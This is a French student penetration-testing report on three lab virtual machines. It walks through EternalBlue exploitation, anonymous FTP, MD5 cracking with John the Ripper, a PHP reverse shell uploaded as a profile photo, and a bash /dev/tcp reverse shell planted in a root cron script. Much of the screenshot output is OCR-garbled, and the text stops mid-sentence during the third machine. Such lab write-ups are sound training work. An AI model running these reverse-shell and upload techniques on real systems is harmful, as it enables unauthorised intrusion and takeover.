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Introduction :

Dans le cadre de cette SAE, nous allons réaliser des tests d’intrusion sur 5 machines
virtuelles réparties entre les systémes d’exploitation Windows et Linux. L'objectif de cette
SAE est de nous former aux techniques de bases de pentesting et aux méthodologies de
sécurité informatique en simulant des attaques.

Pour réaliser ces tests d’intrusion, nous allons utiliser une machine virtuelle Kali Linux qui
est un outil reconnu dans le monde du pentesting qui nous permettra donc d’analyser et
exploiter les vulnérabilités présentes sur les machines cibles.

Les tests d’intrusion seront structurés en plusieurs étapes logique : la découverte de la cible,
'analyse des services en écoute, I'identification de vulnérabilités présentes puis I'exploitation
de ces vulnérabilités.

N’étant pas dans un environnement réel, nous n’aurons pas a appliquer a la lettre la
derniére partie du travail d’'un pentester qui est d’exposer a ses clients le résultat de ses
recherches, nous avons a la place ce rapport qui se rapproche de ce qu’un pentester
pourrait faire pour présenter son travail a ses clients.

Ainsi, ce rapport présente les étapes suivies lors des tests d’intrusions avec les résultats
obtenus en passant bien évidemment par toutes les techniques utilisées.
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| - Premiere VM (Blue) :

Pour cette premiére VM, on va donc utiliser notre kali linux afin de trouver I'adresse
IP sur le réseaux NAT créé, ainsi on utilise I'outil nmap qui permet de scanner un réseau :

ARP Ping
Nmap sc:
Host is up
MAC Add
Nmap

MAC Add

Nmap sc:

Host is .

MAC Add H ] racle VirtwalBox virtual NIC)
Nmap re i 100. 4

Host

Nmap done: 256 IP addresses (5 hosts up) scanned in 2.04 seconds

On voit donc que I'adresse IP de la machine est 192.168.100.5 et on peut donc scanner les
ports ouverts sur cette machine toujours avec nmap :

g ) at 2925-@1-13 08:59 EST
Nmap sca
Host is up
Not shown:

open
open netbios-ssn
open microsoft-ds

open

open

open

open

Cp open
491 Cp OpE
MAC Address: 88:@ 2A:95:91 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 18.86 seconds

On voit plusieurs services et aprés recherches on comprend que le 445 hébergeant Samba
posséde de nombreuses vulnérabilités, c’est donc lui qu'on va essayer d’attaquer en
premier.

En cherchant des exploits sur Internet, on arrive sur un site
(https://www.hackingarticles.in/smb-penetration-testing-port-445/) qui nous dis d'utiliser
nmap pour voir vulnérabilitées relatives a la version de SMB installée sur la machine :
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https://www.hackingarticles.in/smb-penetration-testing-port-445/

Starting Nmap 7 ap.ors il 106 EST
Nmap scan repo
Host 1is

MAC Address: 08

Host script results:
_smb-vuln-msl1 NT_STATUS_OBJECT_NAME_NOT_FOUND
_smb-vuln-ms1 4! false
smb-vuln-ms17
LNERABLE:

Code Execution wvulnerability in Microsoft SMBvl se rs (ms17-818)
ULNERABLE

cution vulnerability exists in Microso

om/ I curi ms1 1@.
osoft.com/msrc/2017/0 ‘customer-guidance-for-wannacr

Nmap done: 1 IP address (1 host up) scanned in 5.

Ici, on voit qu’il y en existe une avec un facteur de risque élevé qui est la CVE-2017-0143
que nous allons donc exploiter. En continuant sur le site, on utilise un exploit de la
CVE-2017-0143 qui se nomme eternalblue et qui par conséquent correspond au nom de la
VM (Blue) ce qui indique potentiellement une bonne piste ou un hasard total.

On lance donc metasploit pour démarrer I'exploit :

Metasploit tip: View advanced module options with advanced

ation: https:

«ploit/
\d configured, defaulting

168.100.5
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On eétabli en héte distant la machine virtuelle puis on lance [Iexploit (use
exploit/windows/smb/ms17_010_eternalblue)

Une fois I'exploit terminé, on accéde a un shell sur la machine cible sur lequel on peut
changer de shell puis taper un whoami pour savoir qui nous sommes sur la machine :

t Windows [Version 6.1.7681]
Copyright (c) 2889 Microsoft Corporation. All rights reserwe

indows'system32>whoami
whoami
nt authority®

Voyant que nous sommes un utilisateur system, le pentest est désormais terminé car cet
utilisateur étant plus puissant que le root on a montré une faille existante dans cette machine
permettant un accés malveillant.
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Il - Deuxieme VM (Academy) :

Pour cette nouvelle VM, Academy, nous allons dans un premier temps tenter de découvrir
quelle adresse ip elle a afin de commencer notre analyse, pour ce faire nous allons utiliser
un netdiscover:

netdiscover -r 192.168.1.0/24 (r pour range soit la plage d’adresse ip que nous
souhaitons analyser):

Currently scanning: Finished! Screen View: Unigque Hosts

Captured ARP Req/Rep packets, from 4 hosts. Total size:
At MAC Address Count ¢ MAC Vendor / Hostname

Unknown wvendor

Unknown wvendor
ystemtechnik GmbH
temtechnik GmbH

Nous pouvons voir sur ce screen que plusieurs adresses IP sont présentes, les trois
premiéres sont des adresses virtuelles générées par virtualbox dont la derniére pourrait étre
un dns. Notre VM a pour adresse IP 192.168.1.231. A noter que notre machine linux a une
adresse ip 192.168.1.228. Tout d’abord nous pouvons commencer par faire une petite
analyse pour voir quels services cette VM hébergée potentiellement, pour ce faire nous
allons utiliser nmap avec la commande suivante: nmap -sV 192.168.1.231

Ici 'option sV permet de demander a nmap de sonder les ports ouverts et de déterminer les
informations sur les services et les versions des logiciels qui les utilisent. Voici la capture
des informations que nmap nous retourne:

Starting Nm
Nmap scan re
Host is up (

Not shown: 997 c
PORT STATE S

/tcp open ftp

tcp open ssh Opens ; i debl@u2 (protocol 2.0)
80/tcp open http Apache httpd : 8 ebian))
Service Info: 0Ss: Unix, Linux; CPE: e:/o:linux:linux_kernel

Service detection performed. Please ort any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.69 seconds

Nous pouvons voir qu'il y a trois services hébergés sur cette vm, un serveur ftp, un serveur
ssh et un serveur http sous une vieille version apache. Cependant notre nmap ne nous
donnes pas beaucoup d’info, pour essayer d’avoir plus d’'information nous pouvons tenter de
rajouter I'option -A qui permet de détecter encore plus d’information:
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@ host
66.

s
5]

Host is up
Not shown: 9
PORT STATE

sion bandwidth limit
n timeout in seconds is
tion is plain t
will be plain t
artup, client count
v : fast, stable
_End of
f non: Anonymous FTP login all d (FTP cod
=T — 1 1000 21 note.t
tcp open
ssh-hostkey:

_http-serv
_http-title: Ap

Serw detecti I . I rt i I Lt J/submit/
Nmap done: 1

On peut constater tout de suite beaucoup plus de choses, tout d’abord sur le serveur ftp, il
est possible de se loguer en mode anonymous, ce qui veut dire que sans login on peut
potentiellement accéder a certains fichiers voir répertoires entier. Tout d’abord nous allons
tenter d’aller voir ce que nous dit le site web:

®  Apache? Debian Default Pag X +

<« C o Q 192.168.1.231

KaliLinux #& KaliTools « KaliDocs ¥ KaliForums eX Kali NetHunter Exploit-DB Google Hacking DB OffSec

@ Apache2 Debian Default Page

This is the default welcome page used to test the correct operation of the Apache? server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index. html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means

that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Debian's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Debian tools. The configuration system is fully

in e/doc/; Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows:

/etc/apache2/

|-- apachez.conf

| ports. conf
|-- mods-enabled

| |-- *.load

| ‘-~ *.conf

|-- conf-enabled

| “-- *.conf

|-- sites-enabled

| “-- *.conf

« apache2.conf is the main configuration file. It puts the pieces together by including all remaining
configuration files when starting up the web server.

+  ports.conf is always included from the main configuration file. It is used to determine the
listening ports for incoming connections, and this file can be customized anytime.

« Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ directories contain
particular configuration snippets which manage modules, global configuration fragments, or
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On constate que nous tombons directement sur la page par défaut du serveur apache qui
expliqgue comment le mettre en place. Cela ne nous donne pas beaucoup d’informations
supplémentaires.

Cependant, nous avions remarqué juste au dessus que le serveur ftp autorise une session
anonymous. Nous allons donc essayer de regarder ce que nous pouvons trouver avec
celle-ci, pour ce faire nous allons essayer de nous connecter avec la commande fip
192.168.1.231 (I'adresse de la machine cible. A note que pour se connecter sur une session
anonymous il suffit uniquement de rentrer en login anonymous et ne pas mettre de mot de
passe:

Connected to 192.168.1.231.
220 (wsFTPd 3.0.3)
anonymous
ify the password.
Password:

23@ Login successful.

emote system type is UNIX.

sing binary mode to transfer files

Ftp> 1s

229 Entering Extended Passive Mode (|||31802])

150 Here comes the directory listing.

rWw-r—TI-— 1 1088 1808 776 May 38 2821 note.txt
226 Directory send OK.

Ftp> |

Voila, nous sommes connectés, on peut d’ailleurs constater a partir du Is qu’il y a un fichier
accessible a la lecture pour nous, note.txt. pour le récupérer il nous suffit de faire un:
get nom_du_fichier

e : note.txt
g nded P: Mode (|][459471)
ning BINARY mode d: connection for note.txt (776 bytes).

R 776 613.61 KiB/s 00:00 ETA
complete.
received in 0@:00 (287.70 KiB/s)

Maintenant que notre fichier est téléchargé, nous allons pouvoir quitter le serveur ftp pour
pouvoir consulter de maniére correcte notre fichier nouvellement téléchargé.
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¢ cat note.txt
Hello Heath !
Grimmie has setup the test website for the new academy.

I told him not to use the same password everywhere, he will change it ASAP.

I couldn't create a user via the admin panel, so instead I inserted directly into the database with the following comman

([ "StudentRegno”, “studentPh *, “password’, “studentName , “pincode’, “session”, “department®, °
i *, “updati te’ UES

457d15655bbd7a63fb0bcg’, "Rum Ham', tt, ', ', '7.607, '2021-85-29 14:

The StudentRegno number is what you use for login.

Le me know what you think of this open-source project, it's from 2020 so it should be secure... right ?
We can always adapt it to our needs.

-jdelta

On constate que c’est censé étre une note interne ou jdelta expliquant a Health que Grimmie
a créé le nouvel academy. On pourrait en déduire également que c’est le méme mot de
passe utilisé par tous pour le moment. On peut aussi voir une injection sgl ou on nous
explique que le login est dans la colonne StudentRegno.

Cependant, on sait maintenant qu’il doit probablement y avoir d'autres pages sur ce site
autre que la page par défaut. Mais pour ce faire nous devons connaitre I'arborescence. I
existe plusieurs méthodes pour ce faire, ici, nous allons utiliser DirBuster qui permet de
forcer les noms de répertoires et de fichiers sur les serveurs web ou d’application. Voici
comment nous devons configurer DirBuster pour que cela fonctionne:

OWASP DirBuster 1.0-R eb App on Brute Forcing

File Options About Help

Target URL (eg http://example.com:80/)
http://192.168.1.231:80

Work Method () Use GET requests only (2) Auto Switch (HEAD and GET)
Mumber Of Threads =7 1 10 Threads [ | Go Faster
Select scanning type: (%) List based brute force () Pure Brute Force

File with list of dirs/files
fusrfsharefwordlists/dirbuster/directory-list-2.3-small txt |

), Browse | | @ List Info

Select starting options: (%) Standard start point () URL Fuz

Brute Force Dirs Be Recursive Dir to start with |f

Brute Force Files [] Use Blank Extension File extension |php

| Eexit | | I> start

Please complete the test details
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Le DirBuster est pas encore fini, mais nous avons déja une arborescence qui commence a se
former:

File Options About Help

http://192.168.1.231: 80/
@ Scan Information ', Results - List View: Dirs: 17 Files: 46" Results - Tree View ', A\ Errors: 0

Directory Stucture Response Code | Response Size
Bt 200 11322
#-3 icons 403 448
== academy 200 4141
L[] index.php 200 4141
-1 asssts 200 1711
------ [1 print.php 302 281
=3 admin 200 4168
#-C3 includes 200 1767
Current speed: 398 requests/sec (Select and right click for more options)

Average speed: (T) 387, (C) 403 requests/sec

Farse Queue Size: 0 Current number of running threads: 10

Total Requests: 63232/3155560 | l Change ]

Time To Finish: 02:07:53

| & Back H Il Pause ” [] stop | Report
Starting dirffile list based brute forcing facademy/adminfassetsffonts/get.php

On peut voir que dans le /academy nous avons un index.php. Nous allons essayer de nous
connecter.

Student Login x|+

O & 1921681.231

{ Kali Forums @ Kali NetHunter  Exploit-DB  Google Hacking D!
Right-c

ONLINE COURSE
REGISTRATION &

PLEASE LOGIN TO ENTER

Enter Regno :
This is a free bootstrap admin template with basic pages you need to craft your

project. Use this template for free o use for personal and commercial use.
Enter Password : Some of its features are given below :
+ Responsive Design Framework Used

« Easy to use and customize

l:l + Font awesome icons included

+ Clean and light code used.
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On constate une page ou l'on doit se connecter. Avec notamment marqué “Enter Reg no”. On
peut en déduire que cela correspond au login présent dans le note.txt. Cependant, |'écriture
marque dans password semble chiffre. Tout d’abord nous allons devoir tenter de le
déchiffrer. On constate a I'aide de l'outil de reconnaissance de chiffrement sur dcode.fr que
le plus probable serait le hash en md5, car le premier de la liste dans les résultats.

dcode.fr

Google Hacking DB OffSec

RECONNAITRE UN CHIFFREMENT
Cryptographie » Reconnaitre un Chiffrement

Rechercher un outil

RECHERCHE SUR DCODE PAR MOTS-CLES BUT ;E?qu'a il b o
Tapez par exemple 'scrabble’ || <
PARCOURIR LA LISTE COMPLETE DES OUTILS X
Résultats 2 &+ ¥ x IDENTIFIER UN MESSAGE CODE 1]

MESSAGE CHIFFRE A RECONNAITRE @)

LRSI GG SEs OFITEEiEr 8 cd73502828457d15655bbd7a63 Thobea

/5 Avertissement Le message a une faible longueur, cela peut nuire
& |a quantité et a |a fiabilité des résultats (woir FAQ)

Avertissement Peu ou pas de résultats significatifs (woir FAQ) i
" . INDICES/MOTS-CLES (FACULTATIF)

MD5 [ [}

Données Hexadécimal [ ] > ANALYSER

MD4 1 Voir aussi - Analyse des Fréquences — Indice de Coincidence

ae ASCIT . IDENTIFIER DES SYMBOLES

Hexadécimal (Base 16) . » Aller & : Chiffrements avec Symboles

Codage Base62 o X

Code Base6d o

UuID o

Chiffre XOR o I d

Décalage Circulaire Binaire o Demarrer

Codage de Huffman o

Compression LZW o

Codage EBCDIC o

Chiffre RC4 o

Chiffre par Substitution o Commencez Maintenant n

Si on essaye de déchiffrer avec le md5, on obtient le résultat azerty comme montre I'image
ci dessous, cela semble étre le bon hash que nous avons trouvé :

2ID|C\IVitiy ¥

MD5
Informatique > Algorithme > Fonction de Hachage » MD5
: S > X
Rechercher un outil Ouvrir le Fichier
RECHERCHE SUR DCODE PAR MOTS-CLES - Visualisez facilement les fichiers et les pages web
Tapez par exemple 'cesar' o -
PARCOURIR LA LISTE COMPLETE DES QUTILS
Resultats 2 &2 * K x DECHIFFREMENT DU MD3 1]
MDS HASH MDS | AB4F63F9ACE5152575886860DDE4B0OAL
aZze I‘"ty OpTioNs
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Nous allons désormais tester sur le site I'identifiant et le mot de passe que nous venons de
trouver pour voir si nous pouvons pas accéder a plus de chose:

Invalid Reg no or Password

Enter Reg no:

Enter Password :

En testant avec ces logins on obtient un invalid Reg no or Password signifiant que notre mot
de passe n'est donc pas le bon. Cela veut dire que notre site n'a pas bien fonctionné. Aprés
plusieurs recherches sur internet, je suis tombé sur l'outil John The Ripper. Cet outil
fonctionne a partir de 3 éléments, une base de mot de passe prédéfini qui va lui servir de
modéle pour bruteforce celui que nous allons tenter de découvrir, et le hash dans un fichier
de texte. Au préalable il est mieux de connaitre une bonne fois pour toute le type de hash
utilisé, pour cela nous pouvons aller sur ce site: https://www.tunnelsup.com/hash-analyzer
qui permet d’identifier le type de hash. Ici on constatera que c’est bien du md>5:

Tool to identify hash types. Enter a hash to be identified.

cd73502828457d15655bbd7a63fb0bc8

Hash: cd73502828457d15655bbd7a63tb0bc8
Salt: Not Found

Hash type: MDS5 or MD4

Bit length: 128

Character length: 32

Character type: hexidecimal

Pour faire fonctionner le script nous allons utiliser ce fichier de mot de passe:
https://github.com/zacheller/rockyou

Pour mettre le mot de passe dans un fichier:
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https://github.com/zacheller/rockyou

echo cd73502828457d15655bbd7a63£fb0bc8 > hash.txt

Nous pouvons maintenant lancer le script avec la commande suivante:
john --wordlist=rockyou.txt --format=RAW-MD5 hash.txt

Le script est trés rapide et nous permet d’obtenir le résultat suivant:

hash.txt

il semblerait donc que notre mot de passe soit plus student que azerty, nous allons essayer:
On constate que c’est le bon mot de passe puisque nous accédons a de nouvelles pages
notamment change password:

ONLINE COURSE
REGISTRATION &

ENROLL FOR COURSE  ENROLL HISTORY MY PROFILE CHANGE PASSWORD  LOGOUT

STUDENT CHANGE PASSWORD

Change Password

Current Password
Password

New Password
Password

Confirm Password

Password

Submit

Nous pouvons regarder différentes pages accessibles et voir ce que nous pourrions faire:
Dans Enroll For course:
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ENROLLFORCOURSE ~ ENROLLHISTORY MY PROFILE CHANGE PASSWORD  LOGOUT

STUDENT PINCODE VERIFICATION

Pincode Verification

Enter Pincode

Pincode
Verify

Dans Enroll History:

ENROLL HISTORY

Enroll History
# Course Name Session Department Level Semester Enroliment Date Action

Enfin dans My profile:

STUDENT REGISTRATION

Student Registration
Student Name
Rum Ham

Student Reg Mo

10201321
Pincode
TTITIT

CGPA

7.60

Student Photo

Upload New Photo

| Browse..._| Mo file selectead

Update

Le seul endroit qui pourrait nous intéresser est la page my profile. En effet on peut constater
que nous pouvons importer une photo, hors si 'importation de photo a pas correctement
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configuré, il est possible d'y insérer du code malveillant et d'insérer un reverse shell a la
place. C’est ce que nous allons tenter de faire.

Tout d’abord nous devons trouver un code de reverse shell avec php puisque tout le site est
codé en php.

On peut trouver un dépbt github qui en mets un a disposition ou nous avons juste a modifier
'adresse ip et le port d'écoute:
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

set_time_limit (8);

Fchunk_size

fwrite a =

Nous allons I'essayer, pour ce faire nous devons suivre les étapes suivante:
git clone https://github.com/pentestmonkeyv/php-reverse-shell.git

cd cd php-reverse-shell

nano php-reverse-shell.php

nous allons juste modifier I'ip le port n’est pas utiliser sur notre machine donc ce n’est trés
grave de ne pas le changer:

set_time limit (@);
- Ill_l;:]“;

avant de lancer le reverse-shell nous allons écouter sur notre machine au port 1234 avec la

commande suivante:
nc -lvnp 1234

12

listening on [any] 1234

Nous avons importer le fichier il ne reste plus qu'a update pour voir si cela fonctionne:
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https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
https://github.com/pentestmonkey/php-reverse-shell.git

Student Photo

Upload Mew Photo

| E-rt:awse...| php-reverse-shell. php

Notre reverse shell a fonctionné:

| o

1 from (UNKNOWN) [192.168.1.
= 6-amd64 #1 SMP Debiam 4.19.181-1 ( 1-0 9) x86_64 GNU/Linux
1:38, @ wusers, load av : 0.0, 0.00,
FROM LOGINa C
id=3 mi-data) groups
tty; job control tu

afin d’avoir un shell stabilise nous allons utiliser cette commande:
python -c 'import pty;pty.spawn ("/bin/bash")’

mport pty;pty.spawn(”/bin/bash")’

wwi-data@academy:/$ 1s

home 1ib32 media sys wvmlinuz

initrd.img lib64 mnt tmp wvmlinuz.
initrd.img.old 1ibx32 opt usr
lib lost+found proc var

v -dat ademy:/% I

Nous allons nous balader dans les différents répertoires, pour ce faire nous pouvons pour
que cela soit plus rapide utiliser la commande Is -R qui permet d’afficher les répertoires
parents et enfants. En parcourant le résultat obtenu par cette commande on voit
'arborescence de notre site:
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e.php
erification.php

word. php
ilability.php
1

ratien.php

html/academy/admin
55 font-

me-webfont.woff2

wi /html/academy/admin/assets/img:
jpg logo.

emy/admin/includes:
r.php header.php menubar.php

wi /html /academy/assets:
fonts img Js

on peut voir dans le répertoire /var/www/html/academy/admin/includes un fichier config.php.
nous allons regarder son contenu:

cat  /var/ww/html/academy/admin/includes/config.php

e) or die("Could not connect database”);

on constate un identifiant: “grimmie”, mais également un mot de passe:
"My _V3ryS3cur3_P4ss”. Si on se rappelle, dans le fichier note il est indiqué qu' on avait
demander a grimmie de ne pas mettre les méme mots de passe partout et qu'il allait bientt
régler ce soucis, cela veut dire qu’il est possible que le mot de session soit le méme que le
mot de passe de base de données. Dans un premier temps nous allons regarder si il existe
un utilisateur grimmie:
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wwmw-datad =4dﬂmx /% cat /etc/passwd

:root:/root:/bin/bash
:1:daemon: /usr/sbin: /usr/sbin/nologin
bin:/bin:fusr/sbin/nologin
sys:/dev:/usr/sbin/nologin
:/bin:/bin/sync
fusr/games: /usr/sbin/nologin
ir/cache/man: fusr/sbin/nologin
/spool/lpd: fusr/sbin/nologin
L:/var/mail: /usr/sbin/nologin
:9:9:news: /var/spool/news: fusr/sbin/nol
d:uucp:/var/spool/uucp: /usr/shin/nologin
bin:/usr/sbin/nologin
data:/var/wm:/usr/sbin/nologin
ups:/usr/sbin/nologin
r: /var/list: /usr/sbin/nologin

\ r/lib/gnats: /usr/sbin/nologin
:nobody : /nonexistent: /usr/sbin/nologin
fnonnalgtnnt fusr/sbin/nologin
2:systemd Time onization,,,:/run/systemd: /usr/sbin/nologin
ystemd Netwo ment,,, :/run/systemd: /usr/sbin/nologin
X: :systemd Resolver, run/systemd: fusr/sbin/nologin
104:11@ :: /monexistent: /usr/sbi i
fxun! shd:/usr/sbin/nologin
:systemd Core Dumper:/:/usr/sbin/nologin
stent:/bin/false
emon, , , :/srv/ftp:/usr/sbin/nologin
idministrator,,, :/home/grimmie: /bin/bas

On constate que I'utilisateur grimmie existe bien, nous allons essayer de s’y connecter avec
les informations que nous connaissons.

su grimmie
Password: My_

grimmie

Nous sommes désormais connectés a Grimmie, le mot de passe n’avait pas encore été
changé.

Maintenant que nous sommes connecté a un utilisateur, et de maniére fiable nous allons
essayer de faire une élévation de privilége. Pour simplifier par la suite nous allons utiliser un
acces ssh puisque nous connaissons le mot de passe de grimmie.
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n't be established.
519 key fingerprint is SHA2S56:eeNKTTakh [EgEWKZwWLUp@ATptebd.
This host key is known by the following other names fqddtﬂ"'ES'
J/.ssh/known_hosts:2: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
ing: Palmanant1 a 2.168. ( 519) to the list of known hosts.

grimmlemlg’ 1bn.l
i \demy 4.19. 1db4 ﬂl SMP Debian 4.19.181-1

The programs included with the Debian GNU/Linux system ar
the exact distribution terms for each program are described in the
individual files in fusr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by :
Last login: ! 7 2021 from 192.168.10

Maintenant que nous avons un acces ssh, nous allons utiliser le script linpeas qui permet de
réparer de maniére générale les potentielles failles permettant de faire de I'élévation de
privilége. Il se trouve juste ici: PEASS-ng/linPEAS at master - -ng/PEASS-ng - GitH

Pour pouvoir le récupérer nous devons d’abord le télécharger sur notre machine kali pour
pouvoir le récupérer sur notre machine cible. Pour ce faire nous allons suivre les étapes
suivantes:

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

python3 -m http.server 8000

http.server
/ing HTTP on @
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Maintenant que le script linPEAS est téléchargeable nous allons sur notre machine cible
exécuter les commandes suivantes:

wget 192.168.1.228:8000/1inpeas.sh

ajouter les droits d'exécution:

chmod +x linpeas.sh

./linpeas.sh -a

1 810.96K - .-KB/s in 0.01s

Il faut désormais attendre quelques minutes le temps que le script se termine entiérement.
On peut constater au début des résultat la Iégende des couleurs:

OB ¢t a PE vector
You should take a look to it
Users with console
Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .s cri cronjobs)
Your username

En rouge surbrillance jaune cela veut dire que c’est trés probablement exploitable et avec
une grande chance de reussir, rouge que cela doit attirer notre attention.
on peut constater ici que nous avons un fichier qui est excecuter en root:

Processes with credentials in memory (r

process found (dump creds from memory as root)
process found (dump creds from mem root)
process found (dump creds from memory as root)
Processes whose PPID belongs to a different user (not

Proc 2095 with ppid 1685 is run by user but the ppid user is

Files opened by processes belonging to other users

COMMAND PID TID TASKCMD USER FD TYPE DEVICE SIZE/OFF NODE MNAME
Different processes executed during 1 min (interesting is low number of repetitions)

/bin/sh -c / .sh
Jusr/sbin/CRON -f

un fichier qui doit probablement étre utile pour faire des backup au vu de son nom.
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On voit que dans les crons jobs, des actions qui sont réalisées de maniére chronique, notre
backup.sh est présent. Cela veut dire que ce fichier est souvent exécuté en temps que root.
De plus on voit que devant le chemin de notre fichier, il y a 5 étoiles, cela signifie qu'il est
utilisé toute les minutes en temps que root. Nous allons essayer de remplacer le contenu de
ce fichier par un reverse shell:

Sur ce site on peut trouver des reverse shell pour tout type de langage, nous allons utiliser
du bash dans cette situation:
Reverse Shell Cheat Sheet | pentestmonke

pour faire un reverse shell en bash il nous suffit de remplacer le contenu ou d’ajouter au
contenu de backup.sh la ligne suivante:
bash -1 >& /dev/tcp/192.168.1.228/4040 0>&1

GNU nano 3.2 /home/grimmie/backup.sh

/tmp/backup.zip
zip /tmp/b: ip /var/wew/html/academy/includes
7eo /Stmp/ p.zip

bash & /dev/tcp/192.168.

avant d’enregistrer et d'exécuter dans un autre shell nous allons ouvrir un port d'écoute:

nc —-lvnp 4040

Une fois ce port d'écoute ouvert, nous pouvons enregistrer ce fichier et attendre un peu. Ca
y est nous sommes root:

v 4
listening on [ § Ay
connect to [19 68 . 1 from (UNENOWN) 168.1.231] 5
bash: cannot s ¢ nal process group 6): Inappropri
C ol in this shell

bash: no job cont
ademy : ~# whoami

whoami
root
root@academy:~# |

Nous pouvons donc en déduire que notre élévation de privilege est terminée et réussie.

BUSSON Emilien
DE SAINT LEON LANGLES Quentin
BUT2 Réseaux et Télécommunications
22


https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Ill - Troisieme VM (Dev) :

Une nouvelle fois pour cette machine, 'outii nmap va nous permettre de trouver
'adresse IP de la VM a pentester en scannant le réseau comme ceci :

@8 Kali [En fonction] - Or
3

i

File Actions Edit View Help

link noprefixroute

virtual NIC)

e VirtualBox virtual NIC)

rtualBo> al NIC)

Nmap done 6 addresses (5 hosts up) scanned in 2.87 seconds

On observe donc que 'adresse IP de cette machine est 192.168.100.8 ce qui permet donc

de scanner les ports ouverts une nouvelle fois avec nmap :
@ kali [En fonction] - Oracle VM VirtualBox

Host is up
Not shown:
PORT

open
open

irtualB virtual NIC)

canned in .53 seconds
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Iy a donc 5 ports ouverts qui sont les 22, 80, 111, 2049 et 8080 qui correspondent
respectivement a SSH, HTTP, RPC, NFS et Web.

La premiére chose que l'on va chercher a attaquer est le site web hébergé sur cette
machine.

Avec la commande curl, on peut voir I'entéte http :

http://192.168.100.8
HTTP/1.1 200 OK

Date: Tue, 17 Dec 2024 @8:55:19 GMT
Server: Apache .38 (Debian)
Content-Type:

On comprend donc que le serveur utilisé ici est Apache avec une version 2.4.38 et lorsque
I'on accéde au site on tombe sur ceci :

% Bolt - Installation error

C o O @ 19

Kali Linux # KaliTools « KaliDocs X KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Bolt - Installation error

You've (probably) installed Bolt in the wrong folder.

It's recommended to install Bolt outside the so-called web root, because this is generally seen as best
practice’, and it is good for overall security. The reason you are seeing this page, is that your web
server is currently serving the incorrect folder as ‘web root.. Or, to put it the other way around: This file
should not be visible.

The current folder is: /var/wawa/htnl/ .

The best and easiest fix for this, is to configure the webserver to use /var/waw/htnl /public/ as the
‘document root".

Alternatively, move everything 'up’ one level. So instead of extracting the .zp or .tgz file in this
folder, extract itin var/wn/ instead. If you do this, you must edit the . bolt.yn1 file as follows, so it
use the correct folder.
paths

web: "¥sitek/html

TIP: copy this snippet row, because you won't see it anymore, after moving the files.

If these options aren't possible for you, please consult the documentation on Installing Bolt, as well as
the page on Troubleshooting 'Outside of the web root

 Bolt documentation - Setup / Installation

« Bolt documentation - Troubleshooting ‘Outside of the web root'

« The Bolt ion forum

« IRC, Slack or Twitter - Bolt Community

&S E@EEOE ko

Il y a donc Bolt sur ce serveur mais on ne peut pas tirer d’'informations a partir de seulement
¢a, c’est pourquoi on va utiliser dirbuster afin de voir si certains fichiers sont accessibles.
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On va commencer par voir si il y a des fichiers php :

2.168.100.8 -X .php

DIRBE v2.
By The Da

START_TIME: Tue Dec 17 B@4:43:

URL_BASE: http://192.168.100.

WORDLIST_FILES: fusr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

GENERATED WORDS: 4612
ning URL: http://192.168.100.8/

192.168.100.8/index.php (CODE:2@8@|SIZE:3

END_TIME: Tue Dec 17 @4:4
DOWNLOADED: 4612 - FOUND:

Avec seulement le fichier index.php, il n’est pas possible de faire quoique ce soit de plus

donc on va cette fois voir pour les fichiers json :

68.100.8 .Jjson

START_TIME: Tu
URL_BASE: http
WORDLIST_FILES: fusr/share/dirb/wordlist
EXTENSIONS LIST: (.json) | (.json) [NUM

GENERATED WORDS: 4B12

+ http:/;

END_TIME: T
DOWNLOADED: £
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On comprend donc que le fichier composer.json est accessible dans lequel on trouve
certaines informations comme par exemple les versions de certaines bibliothéques :

m P O]

Settings X Bolt- Installation error X 192.168.100.8/composer.json X

& 192.168.100.8/cc

Kali Linux #& KaliTools = KaliDocs M KaliForums e Kali NetHunter Exploit-DB Google H

La version de Bolt étant 3.7 comme semble le montrer ce fichier composer.json, on va
maintenant chercher des vulnérabilités pour cette version de bolt avec I'outil metasploit :

-
S mEko--

] lali@kali: ~
File Actions Edit View Help
msf6 > search bolt

Matching Medules

.7.0 - Authenticated Remote Code Execution

2015-08-17 C Ye CMS Bolt File Upload Vulnerability

Interact with a module by name or index. For example f

msfe > I

Une vulnérabilité pour Bolt 3.7.0 est présente du nom de Authenticated Remote Code
Execution que I'on va pouvoir utiliser avec la commande use O :
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S emk o
@ kali@kali: ~
File Actions Edit View Help

msf6 exploit( ) >
Module options (exploit/un
Name

to "/root” on th

random)

t,ftp_http:

to listen on. This st address on the loc chine or 0.8.0.0 to listen on al

LI
LPORT 4444

Exploit

Linux (cmd)

e full module info with the , or d command.

En regardant les options de cet exploit, on comprend qu’il est nécessaire d’avoir un login
ainsi qu’'un mot de passe ce qui nous empéche donc pour le moment de l'utiliser.

On va donc maintenant se concentrer sur le fait de trouver une paire login / mot de passe
afin d’utiliser I'exploit. Pour ce faire on va continuer d’explorer le site avec tous les fichiers
disponibles et ainsi on arrive sur le fichier /app/cache/config-cache.json dans lequel on
trouve les informations suivantes :
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BeaPor-|1 2 3 4|0 B ) Lol

O 4 A& ©705| & G
® | @ Server Not Found ® | 192.168.100.8/app/cachefcor X @ Server Not Found

~

<« C @ @ 192:168.100.8/app/cache/config-cache.json

KaliLinux § KaliTools * KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec
JSON  RawData  Headers
Collapse All Expand A

v general:

Ce fichier semble contenir plein d’informations sur la configuration de Bolt avec notamment
